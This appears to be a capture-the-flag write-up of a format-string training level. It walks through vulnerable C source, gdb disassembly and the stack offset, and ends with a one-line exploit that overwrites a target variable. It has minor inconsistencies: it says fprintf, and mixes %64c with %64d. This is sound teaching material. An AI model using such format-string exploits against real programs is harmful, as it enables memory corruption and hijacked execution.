Skip to main content

Format 0

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs. Hints

  • This level should be done in less than 10 bytes of input.
  • “Exploiting format string vulnerabilities”

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}
  • The program expects one user supplied argument as shown by vuln(argv[1]);.
  • The code then uses sprintf which is where the vulnerability lies.
## Bugs

Because **sprintf**() and **vsprintf**() assume an arbitrarily long string, callers must be careful not to overflow the actual space; this is often impossible to assure. Note that the length of the strings produced is locale-dependent and difficult to predict. Use **snprintf**() and **vsnprintf**() instead (or **[asprintf](https://linux.die.net/man/3/asprintf)**(3) and **[vasprintf](https://linux.die.net/man/3/vasprintf)**(3)).

Linux libc4.[45] does not have a **snprintf**(), but provides a libbsd that contains an **snprintf**() equivalent to **sprintf**(), that is, one that ignores the _size_ argument. Thus, the use of **snprintf**() with early libc4 leads to serious security problems.

Code such as **printf(**_foo_**);** often indicates a bug, since _foo_ may contain a % character. If _foo_ comes from untrusted user input, it may contain **%n**, causing the **printf**() call to write to memory and creating a security hole.
  • Before we exploit the program, we need to know how the stack is laid out.
  • Let's disassemble the vuln function.
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>: push ebp
0x080483f5 <vuln+1>: mov ebp,esp
0x080483f7 <vuln+3>: sub esp,0x68
0x080483fa <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>: mov DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
0x0804840b <vuln+23>: mov DWORD PTR [esp],eax
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>: cmp eax,0xdeadbeef
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
0x08048429 <vuln+53>: leave
0x0804842a <vuln+54>: ret
  • We can see that the line at vuln+26 makes the call to sprintf.
--snip--;
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
0x0804840b <vuln+23>: mov DWORD PTR [esp],eax
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
--snip--;
  • The first argument is the address ebp-0x4c and it is loaded into eax.
  • If we look at the man page of sprintf we can see that the first argument is the location of the buffer.
int sprintf(char *restrict _s_, const char *restrict _format_, ...);
  • Looking back at the disassembled code of vuln at vuln+34 a comparison is being made.
--snip--;
0x08048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>: cmp eax,0xdeadbeef
--snip--;
  • This is checking if the target variable is set to 0xdeadbeef. The value being compared is being moved from ebp-0xc.
  • So we know the location of the buffer as well as the target variable. Let's find the distance between them.
(gdb) p/d 0x4c - 0xc
$1 = 64
  • So the distance is 64 bytes but we have been instructed to use less than 10 bytes. Which means a classic buffer overflow will not work.
  • This is where the format string attack comes in.
  • Instead of submitting 64 bytes of padding we can submit the format string %64c which translates to 64 characters.
  • When fprintf is executed, it takes the bytes after the format string and overwrites the target variable.

Exploit

$ ./format0 $(python -c 'print "%64d\xef\xbe\xad\xde"')
you have hit the target correctly :)